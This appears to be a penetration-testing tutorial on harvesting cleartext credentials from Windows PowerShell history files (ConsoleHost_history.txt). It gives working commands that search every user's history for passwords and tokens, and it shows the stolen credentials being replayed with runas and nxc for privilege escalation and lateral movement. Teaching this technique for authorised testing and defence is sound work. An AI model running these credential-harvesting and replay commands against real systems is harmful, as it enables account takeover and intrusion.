
Windows Privilege Escalation: Credentials in PowerShell History (ConsoleHost_history.txt)
How the PowerShell command history file silently records credentials in cleartext, where to find it, what leaks into it, and how to turn a history file into a privilege escalation during a pentest.
TL;DR
Every interactive PowerShell 5+ session records commands to a plaintext file on disk: ConsoleHost_history.txt. The file is created automatically by the PSReadLine module, persists across reboots, and is never cleared by default. Administrators routinely type passwords, API keys, and connection strings directly into the terminal, and all of it lands in the history. An attacker with a low-privilege shell can read their own history or, with the right access, browse other users' profiles and harvest credentials that lead to privilege escalation or lateral movement. No exploitation of a vulnerability is involved: the "bug" is operational behavior meeting a feature that works exactly as designed.
- MITRE ATT&CK: T1552.001 Unsecured Credentials: Credentials In Files
- Tactic: Credential Access
- Platform: Windows
Introduction
PowerShell history is one of the easiest wins in a Windows privilege escalation engagement. The file sits in a predictable location, is readable by the owning user without elevated privileges, and regularly contains passwords passed as command-line arguments. Despite being a well-known technique, it still works constantly in real assessments because the behavior that populates it typing credentials into a terminal is deeply embedded in admin workflows.
This post covers what the file is, where it lives, what kinds of sensitive data end up in it, how to find and read it during an engagement, and how to go from a credential found in history to an actual privilege escalation.
What is PSReadLine and why does it matter
PSReadLine is the module responsible for the interactive command-line editing experience in PowerShell. It handles tab completion, syntax highlighting, and critically persistent command history. It ships with every Windows installation that includes PowerShell 5.0 or later (Windows 10, Windows Server 2016, and all newer versions), and it is enabled by default.
Every command typed into an interactive PowerShell session is appended to a plaintext file on disk. The file grows indefinitely (the default MaximumHistoryCount is 4096 entries) and is never automatically rotated or cleared. Crucially, PSReadLine does not distinguish between a harmless Get-Process and a ConvertTo-SecureString "MyP@ssw0rd" -AsPlainText -Force both are recorded verbatim.
The history file path for the current user can be retrieved with:
(Get-PSReadLineOption).HistorySavePath
Where the file lives
The default path follows the same pattern for every user:
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Using environment variables:
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
| Detail | Value |
|---|---|
| Module | PSReadLine (loaded by default in PowerShell 5+) |
| File | ConsoleHost_history.txt |
| Format | One command per line, plaintext, UTF-8 |
| Default max entries | 4096 |
| Auto-rotation | None |
| Permissions | Readable/writable by the owning user |
The file is per-user. Each profile on the machine has its own history, which means a compromised administrator account's profile contains the administrator's command history.
What leaks into the history
Anything typed into an interactive PowerShell prompt ends up in the file. The most common credential patterns found during assessments:
Cleartext passwords in ConvertTo-SecureString:
$cred = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString "S3cur3P@ss!" -AsPlainText -Force))
Credentials passed directly to cmdlets (-Credential, -Password):
Enter-PSSession -ComputerName SRV01 -Credential (Get-Credential)
Invoke-Command -ComputerName DC01 -Credential evilcorp\it.admin -ScriptBlock { ... }
Network operations with embedded credentials:
net use \\FileServer\Share /user:evilcorp\admin "Winter2024!"
cmdkey /add:server01 /user:evilcorp\svc_backup /pass:BackupPass123
Database connection strings:
sqlcmd -S SQLSRV01 -U sa -P "SqlAdm1n!" -Q "SELECT @@VERSION"
Invoke-Sqlcmd -ServerInstance "SQLSRV01" -Username "sa" -Password "SqlAdm1n!"
PsExec and remote execution:
.\PsExec.exe \\DC01 -u evilcorp\administrator -p "DomAdm1n!" cmd.exe
API keys and tokens:
$headers = @{ "Authorization" = "Bearer eyJhbGciOiJIUz..." }
Invoke-RestMethod -Uri https://api.internal.corp/v1/secrets -Headers $headers
Scripts revealing sensitive paths, share names, or internal hostnames that aid further enumeration even when no credential is directly present.
Enumeration
Read your own history
The simplest check. As the current user:
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Or equivalently:
cat (Get-PSReadLineOption).HistorySavePath
Search for credentials in your own history
Select-String -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Pattern "password|credential|securestring|net use|sqlcmd|apikey|token|bearer|secret" -AllMatches
Read other users' history
If you have access to other users' profiles (local admin, a writable share mapped to C:\Users, or a backup operator privilege), enumerate all history files on the machine:
dir C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt /s /b 2>nul
If the file is not in the expected path, search recursively by name:
dir C:\Users\ConsoleHost_history.txt /s /b 2>nul
PowerShell equivalent:
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
Then read each one:
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -ErrorAction SilentlyContinue |
ForEach-Object {
Write-Output "`n=== $($_.FullName) ==="
Select-String -Path $_.FullName -Pattern "password|credential|securestring|net use|sqlcmd|token|secret" -AllMatches
}
Expected output (example):
=== C:\Users\it.admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ===
C:\Users\it.admin\AppData\...\ConsoleHost_history.txt:14:$cred = New-Object PSCredential("evilcorp\svc_sql", (ConvertTo-SecureString "Str@wberry1" -AsPlainText -Force))
C:\Users\it.admin\AppData\...\ConsoleHost_history.txt:31:net use \\FileServer\Backup$ /user:evilcorp\backup.admin "B@ckup2024!"
Line 14 exposes the password of a service account (svc_sql). Line 31 leaks a backup admin credential used to map a network share.
From history to privilege escalation
The credential itself is the finding; the escalation depends on what the account can do. Common paths:
Password reuse → local admin: the discovered password works for another account with local admin rights. Validate with:
runas /user:evilcorp\it.admin "cmd.exe /c whoami"
Service account → lateral movement: a service account credential found in history often has access to databases, file shares, or other hosts. Test with:
nxc smb <TARGET_IP> -u svc_sql -p 'Str@wberry1' --shares
nxc winrm <TARGET_IP> -u svc_sql -p 'Str@wberry1'
Domain admin credentials in history: if an administrator typed a domain admin password into a PowerShell session, the path is immediate: authenticate as that account and own the domain.
API keys / tokens → access to cloud or internal services: bearer tokens or API keys can be replayed directly to access APIs, dashboards, or cloud resources without needing the user's password at all.
Automated tools that check this
You do not have to search manually. The major privilege escalation enumeration tools already look for ConsoleHost_history.txt:
| Tool | Check |
|---|---|
| winPEAS | Reads the current user's history and highlights credential patterns |
| PrivescCheck (itm4n) | Invoke-CredentialFilesCheck searches for history files and other credential stores |
| Seatbelt (GhostPack) | Seatbelt.exe -group=user includes PowerShell history in its output |
| PowerUp (PowerSploit) | Does not check history files; focused on service misconfigurations |
Example with winPEAS:
winPEASx64.exe quiet filesinfo
winPEAS reads the current user's ConsoleHost_history.txt and prints its contents directly in the output under the "PowerShell Settings" section, highlighting any lines that match credential patterns.
References
- MITRE ATT&CK T1552.001 Unsecured Credentials: Credentials In Files attack.mitre.org
- Microsoft Docs about_History (PowerShell) learn.microsoft.com
- Microsoft Docs PSReadLine Module learn.microsoft.com
- HackTricks Windows Local Privilege Escalation hacktricks.wiki
- PayloadsAllTheThings Windows Privilege Escalation github.com/swisskyrepo/PayloadsAllTheThings
- PEASS-ng / winPEAS github.com/peass-ng/PEASS-ng
- PrivescCheck github.com/itm4n/PrivescCheck
- Seatbelt github.com/GhostPack/Seatbelt